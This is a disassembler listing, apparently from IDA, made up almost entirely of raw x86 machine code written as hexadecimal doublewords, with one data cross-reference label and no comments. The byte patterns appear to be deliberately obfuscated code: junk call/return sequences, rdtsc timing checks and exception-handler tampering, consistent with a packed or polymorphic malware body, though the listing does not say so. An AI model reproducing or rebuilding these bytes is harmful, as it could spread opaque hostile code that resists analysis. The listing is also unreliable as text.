		dd 5A1F5463h, 0D8560184h, 197F269Dh, 8B310F80h,	96585AD9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0D8C35343h
		dd 9AE53097h, 0BD8946CAh, 62B2951h, 0B5B0B5FFh,	6A062Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 3071EDC3h, 6A830A3Fh, 0FFD9BF0Fh, 2B156995h,	0D88B6606h
		dd 1D9DBD83h, 0F00062Bh, 3B84h,	0FBB70F00h, 89F88A50h
		dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 962F76C3h, 9558589h, 6660062Bh, 858BC18Bh
		dd 62B1691h, 0DEB70F61h, 0B5B0B5FFh, 6A062Eh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8B6663C3h
		dd 1195FFDAh, 6A062B2Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 71A7C351h, 1BA98D89h
		dd 0B5FF062Bh, 62EB5B0h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 18h, 5DC35747h, 4E5B298h, 95FF3EB7h, 62B240Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0DEC35343h
		dd 831D261Bh, 2B2E29BDh, 840F0206h, 64h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 85C35242h, 394BC2ECh
		dd 31BD8B89h, 0F062B06h, 386h, 0F88B6600h, 2B39858Bh, 8E0F062Bh
		dd 5, 0F9BF0F53h, 0C65Fh, 188C0F52h, 0E9000000h, 13h, 6503BACBh
		dd 40884A9Ah, 0E7641522h, 8F4A7B3Fh, 5FCF8787h,	92585C7h
		dd 62Bh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 180424h, 55450000h, 5E9923C3h, 0FE95EF5h, 9A000000h
		dd 0C53706E9h, 14ED81BBh, 698B8A5Eh, 0D98B72FBh, 13E8h
		dd 354A5900h, 0CCED0968h, 0C76190B6h, 0FA43F29Eh, 0A77E27A3h
		dd 1CD58D89h, 0E95F062Bh, 0FFFFF350h, 0C18BD5B3h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C5C35242h, 0AD9531F1h
		dd 8D062B1Ch, 2B2FC185h, 0DA8B6606h, 11E850h, 0CFBD0000h
		dd 554E2349h, 0A34FB501h, 50342A6Ah, 0F2DACB7h,	287h, 5B5B5300h
		dd 6A240489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 45F3C357h, 0DAD4BEBDh,	644759BBh
		dd 6A006A63h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0B7D8C356h, 0EBF4A124h, 8BBCD7C5h
		dd 2B19819Dh, 6A006A06h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 9959C350h, 858D11C4h
		dd 62F74ACh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	72C35040h, 50588A4Dh, 461EBF66h, 0DABF0F5Fh, 8905C083h
		dd 2B1F11B5h, 0BF665006h, 489A165h, 9E924h, 731E0000h
		dd 70186DF4h, 6A6D2527h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 40B1A247h, 6D1D20F5h
		dd 820F89A7h, 4, 1E08BF66h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0BD9A76C3h
		dd 1DAC476Dh, 0FFDBFF81h, 2B34E195h, 499D2B06h,	8D062B1Fh
		dd 2EA6AA8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0D1FFC838h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 1FC35747h, 5E176D8Dh, 0E229582Bh
		dd 5B52521Ah, 1BD835Fh,	1062B0Ah, 66850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 816AC8C3h, 6D9D890Eh, 6A062B18h, 56006A02h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 4732E6Dh, 9BA590Eh
		dd 2B2AF595h, 0C98D8906h, 50062B15h, 60DEBB66h,	0F240489h
		dd 95FFFEB7h, 62B05E1h,	0D03E9h, 0E800h, 815D0000h, 2F74B6EDh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 57798034h, 1D5B501h, 8D5B062Bh, 2E993A85h
		dd 5D9D8B06h, 50062B33h, 803FD9BBh, 2404890Bh, 2715B501h
		dd 0FF64062Bh, 35h, 0DBB5600h, 5F64AF0Bh, 258964h, 80000000h
		dd 85FF9AE3h, 62B1E0Dh,	1F219D03h, 0FF6A062Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 89AE426Fh
		dd 8CE38152h, 5B4A90C5h, 0A91B5FFh, 0DC8A062Bh,	11A995FFh
		dd 50E9062Bh, 60000001h, 3CF28166h, 5E81Bh, 0D70D0000h
		dd 57A84F34h, 0B0615E58h, 89BD8B00h, 0E6062B1Fh, 0D8BF0F70h
		dd 2969BD89h, 71E4062Bh, 18419589h, 800F062Bh, 6, 2CE18589h
		dd 613C062Bh, 10D830Fh,	0B60F0000h, 958960C8h, 62B1FA5h
		dd 15F18D8Bh, 0BA61062Bh, 6, 8589C18Bh,	62B16E9h, 8A04E8C1h
		dd 0E2F766DCh, 0C8B0Fh,	8B0F0000h, 6, 18E5BD8Bh, 0BD89062Bh
		dd 62B2765h, 10E9C82Bh,	7B000000h, 0FC0ADE76h, 0C0D54497h
		dd 0CBAC557Bh, 891D8F40h, 2B32A195h, 8BD18B06h,	2B3055BDh
		dd 5E906h, 81660000h, 8B5A28E7h, 2B1AFD85h, 4870F06h, 66000000h
		dd 833F87BBh, 10E907C0h, 0AB000000h, 5C8031B5h,	0ABA0D127h
		dd 946DA38h, 83AB48C3h,	0BD8B00C0h, 62B0939h, 830FD03Bh
		dd 12h,	60E98AB7h, 0F000000h, 58Dh, 0DB816600h,	8D8B2533h
		dd 62B1F59h, 0E183F6B7h, 44840F01h, 60000000h, 0DE9h, 2F158F00h
		dd 8706B9FFh, 0E52AC544h, 8589750Ch, 62B0055h, 59A58361h
		dd 0FE062B1Fh, 0C8C0Fh,	840F0000h, 6, 6EDBD89h,	9589062Bh
		dd 62B1AFDh, 1FA19529h,	0E9062Bh, 8D000000h, 2EEB04B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 72555913h, 8B605659h, 2B29419Dh,	0E8006A06h
		dd 9, 0B0DB5248h, 0C006A8ABh, 0FF5BFC82h, 2B294595h, 0FFBF0F06h
		dd 78BB9h, 0FCE18300h, 0BD8BC7B3h, 62B09D1h, 0FB8B66FCh
		dd 0B8h, 4D958900h, 2B062B0Bh, 0D59D01D2h, 0E9062B1Ch
		dd 8, 2FFD8D2Fh, 0C5670197h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 1BC35343h
		dd 507625B6h, 5E9h, 94F67300h, 880DBFFBh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 6696C353h, 8BF5DA8Bh, 2B0EE195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 72580E55h
		dd 0AECD379Eh, 0AE9h, 26CFF400h, 917E8919h, 8B461F30h
		dd 2B21E18Dh, 0B59D2B06h, 50062B1Ch, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0DABF0F58h, 2E3D9589h, 0BF66062Bh
		dd 0BD8362D2h, 62B05A9h, 2A840F00h, 0B8000000h,	0
		dd 8DDEB70Fh, 2B4EA18Dh, 49858906h, 0FF062B12h,	0DE952E1h
		dd 8F000000h, 0FB5D5FE5h, 73403FC6h, 41CCC676h,	0E5BD835Bh
		dd 62B2Bh, 527840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 46E6BFC3h, 0A8B0Fh, 5E90000h
		dd 0DC000000h, 0C4D97E01h, 2BE5BD83h, 0F01062Bh, 50784h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 8CAABB0Ch, 0BD835869h, 62B2BE5h,	0A3860F03h
		dd 6A000004h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 362DC355h, 0BD2366A0h,	6E9h, 4F974D00h
		dd 601D15F5h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0A5C35242h, 0DD951A37h,	7DCE7Ah, 6E9D9h, 9F580000h
		dd 3D48550Fh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8007C351h, 0BD8B04E1h
		dd 62B0EDDh, 840FC90Ah,	1C8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0A7C35040h,	0AE21C0FBh, 0E1BD0BAEh
		dd 81062B15h, 5D7449EFh, 0B5858B64h, 6A062B1Eh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 6610C351h, 0CEDDCB81h, 19A98589h, 8533062Bh,	62B258Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 86C35545h
		dd 0F8B70F7Fh, 0AE990h,	0DCD70000h, 0F27F799Eh,	97FFED7Ah
		dd 90DEB350h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Ch,	5C35343h, 0EAF16588h, 0FB90901Fh, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0D81DBC3h, 4E8FEh, 3FF0000h,	72B7001Fh, 0DA8B6650h
		dd 424448Bh, 0DC196BBFh, 0E9008B07h, 12h, 7E68E4E6h, 34695A62h
		dd 0F84D68E9h, 7D66C229h, 448978A8h, 9E80424h, 0C0000000h
		dd 0A24E86B0h, 80D3D7B2h, 5FD98B66h, 56006A58h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0D99E3C1Dh
		dd 13E9h, 997DF100h, 9ABE0BE0h,	23972F5h, 20FED821h, 0C36B708Ch
		dd 91D95FFh, 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 762B7CC3h, 55AB7B0Eh, 894D421Ch
		dd 2EB5B085h, 0AE906h, 0A5290000h, 3D5D921h, 0E901416Eh
		dd 0E969CB80h, 223h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 19C35040h, 2F0AC383h,	9D89F45Ah, 62B2F99h
		dd 0B5A8858Bh, 0F781062Eh, 69BF72E4h, 0C7B9CF80h, 1800h
		dd 9E900h, 5C960000h, 82A628FDh, 8BC1BD66h, 2EB5ACB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 1D4FBDBh, 46DC1F06h, 0EE9h, 1487D600h, 3CBAFA88h
		dd 6A54F06Dh, 8B5456D5h, 2B16C585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 8D47F43Dh
		dd 9DD59B25h, 0B589E7C1h, 62B0FF1h, 7E8h, 410C9100h, 7D9F1637h
		dd 68B0Fh, 0E7810000h, 344E1230h, 0F06895Bh, 28Ah, 8B0FB700h
		dd 2B1EB585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8166619Ch, 89B1A0EBh, 6A0446h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 89E569C3h, 0A0136572h, 8934BE9Dh, 2B187D95h,	500FB706h
		dd 0DA8B5250h, 8B66310Fh, 89585AF8h, 860F2434h,	6, 7C9BD8Bh
		dd 0B5FF062Bh, 62EB5A8h, 16718D89h, 4E8062Bh, 0FF000000h
		dd 53001F03h, 505FDE8Bh, 52505057h, 585A310Fh, 448B5F5Bh
		dd 66500424h, 8B5BDF8Bh, 9E900h, 8C250000h, 0E4D183C7h
		dd 895AB3DDh, 0E9042444h, 11h, 0D328A058h, 4F2E7163h, 98C6702h
		dd 659CEDD9h, 6A589Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0A8D2A1C3h, 1D149AA7h, 0B5B0858Dh
		dd 6A062Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 0B57944C3h, 50CEAA37h, 89240489h,	2B16219Dh
		dd 1D95FF06h, 6A062B09h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 2CC4C355h, 518D89B9h
		dd 61062B2Fh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	81C35141h, 0B74F0725h, 0E585C705h, 3062B2Bh, 0B000000h
		dd 2B1909BDh, 0B0BD8306h, 62EB5h, 14840Fh, 2AE90000h, 0F000000h
		dd 98Fh, 0DCBA6000h, 8B3A1DC4h,	305061F7h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 67BE4E6Ah
		dd 0CB02EABFh, 50006A2Eh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F7460024h, 2313BA3Bh
		dd 2B0CC1BDh, 0E5BD8306h, 3062B2Bh, 38A850Fh, 83F80000h
		dd 2EB5B0BDh, 840F0006h, 37Ch, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0D4C35343h,	1225CA73h, 58C5C26Eh
		dd 0B0B5FFF3h, 6A062EB5h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 4892C351h, 5C51CD80h
		dd 7595FF06h, 0F062B01h, 58Ah, 0C3816600h, 0B58B3898h
		dd 62EB5A4h, 18259589h,	6C7062Bh, 10001h, 15CD8D01h, 6650062Bh
		dd 892BA1BFh, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0F7637C3h, 0B5FFD9BFh, 62EB5B0h
		dd 101BD8Bh, 8529062Bh,	62B1E75h, 155595FFh, 0BE8062Bh
		dd 8A000000h, 1D4676F3h, 37A8C223h, 0B70FC227h,	8D0F5FF8h
		dd 4, 40A6BB66h, 0B5A4B58Bh, 6A062Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0E413E9C3h
		dd 418589C7h, 89062B0Dh, 2B06898Dh, 0D9858B06h,	8B062B1Ah
		dd 2B1B7D9Dh, 0C4868906h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 55E7C357h
		dd 11BD8BF0h, 0F062B1Ch, 0C8Ah,	6830F00h, 8B000000h, 2B16E19Dh
		dd 0E1958B06h, 6A062B0Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7FF9C353h, 0C2834B72h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 205089BEh, 1F699D8Bh, 0BF0F062Bh, 4E858DF9h
		dd 6A062ECAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 95A6C351h, 0B88689h, 11E90000h
		dd 2D000000h, 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h
		dd 2BA99D8Bh, 6A062Bh, 8A84C780h, 0B0B5FFD8h, 6A062EB5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h
		dd 0E613C356h, 2771B589h, 95FF062Bh, 62B05E1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 73C35646h, 3996ABA6h
		dd 5096472Eh, 8B96D88Bh, 0B0B5FFD8h, 0B7062EB5h, 6995FF27h
		dd 0E9062B15h, 11h, 8102D994h, 897B9476h, 2B551838h, 395BE0C9h
		dd 9DBD83F9h, 62B1Dh, 13840Fh, 9D890000h, 62B11D5h, 5BB5096h
		dd 960B8659h, 2EF38166h, 0B0B5FF3Ch, 29062EB5h,	2B10A98Dh
		dd 1195FF06h, 81062B2Eh, 7FBB17CBh, 0B0B5FF60h,	8B062EB5h
		dd 75B589F9h, 0FF062B24h, 2B240D95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 4A53800Eh
		dd 0DE6A8FF7h, 9D8B4F56h, 62B2979h, 8E0A90BBh, 29BD831Eh
		dd 2062B2Eh, 6E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 74E8B1C3h, 8BFC3131h
		dd 2B2B3985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0CAE5601Ch, 6A0000C6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0B34FC350h, 0D4F9F24Ch, 93A8CE3Fh, 92585C7h,	62Bh, 11E90000h
		dd 34000000h, 68866272h, 11B8D620h, 45622B78h, 0F49D46F6h
		dd 0FFF3ADE9h, 50006AFFh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0F8051CE6h, 3071BD03h
		dd 0BD8B062Bh, 62B2491h, 8B0FC18Bh, 0Ch, 6820Fh, 8D890000h
		dd 62B288Dh, 2FC1858Dh,	6A062Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0D93880C3h, 51B6BF6Eh
		dd 90094397h, 0BF665050h, 905B8EB8h, 6ADEB70Fh,	4D9D8B00h
		dd 6A062B2Bh, 8D895600h, 62B08E5h, 90858D5Bh, 6A062F83h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 8E46C357h, 45E838F9h, 0AD9E6804h,	0FC05C083h
		dd 5096D780h, 0EE860h, 0DC8F0000h, 0A950A616h, 7296B2FBh
		dd 8F4FD11Ch, 40256BBh,	0F0B65B77h, 24048961h, 11E9h, 0B2A79000h
		dd 33E5FBAAh, 0D6B5BE2Ch, 89588B3Bh, 6A374Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F5C35040h, 0FE9CBh
		dd 62060000h, 0E68EFD52h, 7B7841E7h, 7F6036EDh,	6A006A93h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 6B4EC352h, 0AAE19B91h, 0BD8B5BC8h, 62B25E1h
		dd 0C820Fh, 8C0F0000h, 6, 2CED9D8Bh, 95FF062Bh,	62B34E1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 62C35343h
		dd 8D8DABD2h, 62EA6AAh,	5830Fh,	81660000h, 0FFCDB3D7h
		dd 86F6BBD1h, 0BD8376F0h, 62B0A01h, 71850F01h, 0B3000000h
		dd 6A026AA2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 98F7C351h, 0BF66956Ch,	0E8901836h
		dd 0Fh,	1FCE6CBBh, 53198014h, 268A80Dh,	0FEAF4BAh, 283h
		dd 5B5F5000h, 2BABF50h,	0FF907920h, 2B05E195h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0FA3ED861h, 0CEAE9h,	0E800h,	815D0000h, 2F839AEDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 816676B2h, 667048E7h, 858DFE8Bh, 62E993Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EBC35040h, 26A59C2Dh
		dd 2A218D89h, 0E950062Bh, 0Ah, 0C7987818h, 0FFD3E49Fh
		dd 489077Dh, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 177BCAE1h, 607B0DACh, 66DA8B66h
		dd 0B312EB81h, 35FF64h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 9BC9C351h
		dd 89D86AB9h, 2B297995h, 25896406h, 0
		dd 33D71BFh, 0D85FF24h,	8B062B1Eh, 2B0701BDh, 0DABF0F06h
		dd 9D8BFF6Ah, 62B2FA5h,	7A1B5FFh, 9D31062Bh, 62B05C9h
		dd 11A995FFh, 17E9062Bh, 66000001h, 3B6FABBh, 2B011DBDh
		dd 5700B006h, 6070E65Fh, 2D359589h, 8E9062Bh, 4D000000h
		dd 21D29071h, 614F6188h, 24BF71E4h, 0F32E7E4h, 589h, 0CF816600h
		dd 613C1DFBh, 0D8830Fh,	5E80000h, 0C0000000h, 69056FECh
		dd 5BDA8B66h, 0BAC8B60Fh, 6, 9367CBFh, 0E9C18B4Eh, 6, 0B0F0492Ah
		dd 0C1F9C8D6h, 0BF6604E8h, 0F7667ABCh, 0DF8B66E2h, 0DB81C82Bh
		dd 2C11244Fh, 40BFD18Bh, 0E9186434h, 3,	8BF98B66h, 2B004D85h
		dd 18D0906h, 83062B35h,	83FC07C0h, 0BD3300C0h, 62B2EE1h
		dd 830FD03Bh, 34h, 64E9F5h, 13E80000h, 6E000000h, 39E678A6h
		dd 0EFEEABDEh, 0C619ED44h, 18572F3Dh, 9E80F9Ah,	6E000000h
		dd 5B9030BCh, 9156D889h, 6ED9D8Bh, 5B5F062Bh, 0B6D8D8Bh
		dd 0BD23062Bh, 62B34A9h, 0F01E183h, 2184h, 8D858900h, 83062B2Ah
		dd 2B0B6DA5h, 9D23FE06h, 62B09C1h, 4D9589h, 0CB80062Bh
		dd 0E920h, 0B58D0000h, 62EF49Bh, 152006Ah, 2B1F31B5h, 0FE95B06h
		dd 0CE000000h, 68400E4Dh, 0F30216Ah, 0BDBEE45Ch, 95FF9D29h
		dd 62B2945h, 961B9h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 3B5BEAD5h, 0B78B9E9Eh
		dd 0FCE1830Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0F9C35343h, 8D0908B4h, 62B25A9h, 56006AFCh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0E6326175h, 0C02BF513h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 87C35040h, 0BAA9h, 66600000h,	36B9D981h
		dd 2D91E081h, 89615337h, 2B114D8Dh, 0C233AD06h,	0D003E8D1h
		dd 7504E983h, 0D99D89F4h, 6A062B28h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CF0DC352h
		dd 92F42299h, 880D36h, 8B660000h, 0E1958BFBh, 8B062B0Eh
		dd 0E19D8BFAh, 8B062B2Eh, 2B21E18Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 872AAFC3h
		dd 419D8B38h, 66062B18h, 8B50DE8Bh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 10C35545h, 0F207E2E4h, 8529DBD2h, 62B0C5Dh
		dd 0BFB56060h, 0B0FD981h, 8961158Fh, 2B2B4D8Dh,	8D0F6106h
		dd 0Ah,	5E9h, 0DFC69B00h, 0BD833E42h, 62B05A9h,	68840F00h
		dd 0B8000000h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D5C35242h
		dd 858956F6h, 62B28E1h,	4EA18D8Dh, 890F062Bh, 2Bh, 0CE8h
		dd 0E1E33500h, 53BEA2E2h, 2A180768h, 14E95Ah, 6D8D0000h
		dd 582B5E17h, 0D21AE229h, 0AB938873h, 0DBDEA94Dh, 0FF5B077Ch
		dd 45BD2BE1h, 83062B09h, 2B2BE5BDh, 840F0006h, 426h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0DDC35747h, 0C62E3603h
		dd 25D99D09h, 0BD83062Bh, 62B2BE5h, 0E840F01h, 6A000004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 6E99C352h, 0CEC7917Fh, 14E9h, 0EFF2B200h
		dd 76588218h, 41A9C64Dh, 20C8D92Ah, 0B0702BF6h,	0E5BD8356h
		dd 3062B2Bh, 391860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 8C7FF3C3h, 3E828E01h
		dd 60BB987Ch, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Ah,	3C35545h, 603BB5D5h, 0FB8BB4CAh, 6AD98C66h, 3E85200h
		db 2 dup(0)
word_584F4E	dw 2000h		; DATA XREF: ___:0042BEA8o
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0FDCEC352h
		dd 0A1BD8952h, 66062B1Fh, 80089EBFh, 0D38104E1h, 2EC69B7Bh
		dd 840FC90Ah, 10Fh, 8E8h, 0A1769400h, 0AB538FD6h, 559D8B8Dh
		dd 5B062B35h, 68F0Fh, 8D890000h, 62B06F5h, 1EB5858Bh, 8D0F062Bh
		dd 0
		dd 258D8533h, 9589062Bh, 62B1EC5h, 89DA8B50h, 6A2404h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 2C000AC3h, 8FCC74F5h, 6A21E9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0A8839088h, 0BBD750Eh
		dd 2B270D9Dh, 7C796806h, 52502A47h, 8AC084BBh, 0E8310F06h
		dd 0Ch,	0A7B6DD39h, 8D2E1F48h, 0D3E94186h, 81585A5Bh, 7F862434h
		dd 6A2A58h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0F92DB6C3h, 0B595895Dh, 0FF062B0Ch, 2B091D95h
		dd 0F98B6606h, 0B5B08589h, 0BF0F062Eh, 1C6E9FAh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BC7EEC3h, 2EB5A885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 7599D892h, 0C77F51EEh
		dd 1800h, 228C0F00h, 0E8000000h, 9, 0F7EBF66h, 597E813Ah
		dd 0DE88Ah, 15940000h, 57193CE6h, 0D2B64ED2h, 5B7F73D7h
		dd 0ACB58B5Fh, 6A062EB5h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 89EDC357h, 2B25A9B5h
		dd 0ED9D8906h, 8B062B2Eh, 2B16C585h, 0D2CB8006h, 6A0689h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0FC2648C3h, 9D773F93h, 0BD8BF9BBh, 62B2A3Dh,	1EB5858Bh
		dd 6A062Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 8D89A7C3h, 62B15C1h, 8B044689h, 2B0D519Dh
		dd 0F96F806h, 0E88h, 0BF525000h, 1A6D431Dh, 8B66310Fh
		dd 50585ADAh, 0E996FC8Ah, 10h, 766C2387h, 192B45C9h, 676C82A4h
		dd 2EF93C46h, 0B5A8B5FFh, 0B1BB062Eh, 683F27BFh, 6BCEABh
		dd 0E9C88B60h, 6, 86A0161Eh, 8161EFBEh,	0CD542434h, 6A0074h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 9D2BEDC3h, 62B2439h,	0B5B0858Dh, 9501062Eh, 62B3331h
		dd 0EFBF6650h, 240489E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 3BC35343h, 6F87E77Ch,	29001B6h, 0D8B70F52h
		dd 91D95FFh, 9D8B062Bh,	62B0CF9h, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 7B5F134Ah
		dd 85C7D88Bh, 62B2BE5h,	3, 0C8C0Fh, 0BE600000h,	7EC9A409h
		dd 0D0E88166h, 0BD8361C0h, 62EB5B0h, 8840F00h, 0E9000000h
		dd 1Eh,	50A1C380h, 110C30h, 0C1011144h,	443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
